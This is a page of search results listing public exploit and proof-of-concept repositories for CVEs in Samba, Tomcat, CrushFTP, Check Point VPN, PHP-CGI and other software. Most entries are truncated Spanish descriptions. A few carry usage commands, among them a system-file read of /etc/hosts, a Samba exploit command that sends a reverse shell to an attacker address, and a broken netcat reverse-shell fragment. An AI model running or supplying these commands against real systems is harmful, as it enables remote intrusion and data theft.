993101 matches found
CVE-2017-3241-POC
CVE-2017-3241-POC POC para la vulnerabilidad de deserialización de Java RMI Probablemente necesites usar JDK 8 para ejecutar este poc. Solo presta atención a la clase Message tanto en el lado del cliente como en el del servidor. Son diferentes. Y la diferencia es la clave para entender esta...
CVE-2023-50564
CVE-2023-50564 CVE-2023-50564, Pluck CMS v4.7.18 में एक RCE कमजोरी है। यह /inc/modulesinstall.php कंपोनेंट में एक मनमानी फ़ाइल अपलोड कमजोरी के माध्यम से संभव है, जो एक दुर्भावनापूर्ण .zip फ़ाइल अपलोड करके मनमाना कोड निष्पादित करने की अनुमति देती है। उपयोग एक्सप्लॉइट चलाने से पहले, /login.php पर...
CVE-2022-31793
CVE-2022-31793 -u especificar IP -l especificar archivo de IPs -v modo de verificación -f especificar archivo a leer python poc.py -u ip -v python poc.py -l url.txt -v python poc.py -u ip -f /etc/hosts python poc.py -l url.txt -f /etc/hosts...
DVWA-ZAP-PENTEST
Evaluación de Vulnerabilidades de DVWA usando OWASP ZAP Una evaluación práctica de seguridad de aplicaciones web de DVWA Damn Vulnerable Web App , realizada usando OWASP ZAP Zed Attack Proxy 2.17.0. Este proyecto documenta el flujo de trabajo completo: reconocimiento spidering, escaneo automatiza...
CVE-2026-14669
CVE-2026-14669 - Desbordamiento de búfer en montón en la abreviatura de zona horaria de tochar de PostgreSQL La función tochar de PostgreSQL presenta una vulnerabilidad de desbordamiento de búfer en el montón al procesar el formato de zona horaria. Un atacante puede provocar una escritura fuera d...
CVE-2021-1675-PrintNightmare-Analysis
Investigación de vulnerabilidades: Elevación local de privilegios y RCE a través de Windows Print Spooler PrintNightmare / CVE-2021-1675 El repositorio contiene un informe técnico detallado write-up y el análisis del concepto de explotación de una vulnerabilidad crítica en el servicio del...
WSUSResponder
🧰 WSUSResponder Versión: 1.0.1 Autor: RZA / IT Operations Licencia:MIT 🎯 Objetivo El módulo WSUSResponder proporciona un conjunto de herramientas PowerShell para responder rápidamente a la vulnerabilidad crítica CVE-2025-59287 , una falla de ejecución remota de código RCE que afecta a Windows...
CVE-2025-62593-PoC
CVE-2025-62593 — Ray Ejecución Remota de Código sin autenticación Prueba de concepto para CVE-2025-62593 , una vulnerabilidad de Ejecución Remota de Código sin autenticación en el motor de computación distribuida de IA Ray, explotada mediante ataques de rebinding de DNS basados en navegador. Fue...
CVE-2024-24919-Check-Point-Remote-Access-VPN
CVE-2024-24919-Check-Point-Remote-Access-VPN CVE-2024-24919 es una vulnerabilidad de lectura arbitraria de archivos sin autenticación que puede tratarse nada menos que como un RCE completo sin autenticación. Un atacante puede leer cualquier archivo sensible ubicado en el dispositivo afectado con...
CVE-2024-4040-CrushFTP-server
CVE-2024-4040-CrushFTP-server CrushFTP es un servidor de transferencia de archivos propietario, multiprotocolo y multiplataforma. CVE-2024-4040 : una vulnerabilidad de inyección de plantillas del lado del servidor en CrushFTP en todas las versiones anteriores a 10.7.1 y 11.1.0 en todas las...
CVE-2024-38856-ApacheOfBiz
CVE-2024-38856-ApacheOfBiz Apache OFBiz es un sistema de planificación de recursos empresariales de código abierto. Proporciona un conjunto de aplicaciones empresariales que integran y automatizan muchos de los procesos de negocio de una empresa. CVE-2024-38856 es una vulnerabilidad de...
CVE-2024-4879-ServiceNow
CVE-2024-4879-ServiceNow ServiceNow es una plataforma para la transformación empresarial que ayuda a las empresas a gestionar flujos de trabajo digitales para operaciones empresariales. CVE-2024-4879 podría permitir que un usuario no autenticado ejecute código de forma remota dentro de la...
Tomcat_PUT_GUI_EXP
TomcatPUTEXPV1.4 Herramienta gráfica de explotación de la vulnerabilidad de escritura arbitraria de archivos mediante el método PUT de Tomcat CVE-2017-12615 Introducción a la vulnerabilidad El 19 de septiembre de 2017, Apache Tomcat confirmó y corrigió oficialmente dos vulnerabilidades de alto...
CVE-2017-9791
CVE-2017-9791 Módulo de Metasploit para la vulnerabilidad de ejecución remota de código CVE-2017-9791 en Apache Struts...
CVE-2018-15961
CVE-2018-15961 - Adobe ColdFusion 2018 RCE Este repositorio contiene mi código de exploit para la vulnerabilidad RCE en Adobe ColdFusion 2018. Descripción del Exploit El exploit envía una solicitud POST que contiene una reverse shell JSP a...
CVE-2007-2447
CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f Uso root@kitploit: Explotar objetivo 10.129.232.46 en el puerto 445, enviar reverse shell a 10.10.14.82 en el puerto 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 Con rport y lport personalizados python3...
CVE-2024-4577-PHP-RCE
CVE-2024-4577-PHP-RCE Introducción al proyecto y principio El primer exploit del mundo que aprovecha el entorno predeterminado de PHP XAMPP para la vulnerabilidad RCE PHP-CGI CVE-2024-4577. El primer exploit del mundo para RCE PHP-CGI CVE-2024-4577 que utiliza el entorno predeterminado de PHP...
SDT_CW3B1_rce
SDTCW3B1rce CVE-2021-46422 Instalación root@kitploit: git clone https://github.com/xanszZZ/SDTCW3B1rce cd SDTCW3B1rce Uso Debido a que esta herramienta es un PoC desarrollado según las especificaciones de desarrollo del framework pocsuite3 Antes de usarla, descargue pocsuite3 Dirección del proyec...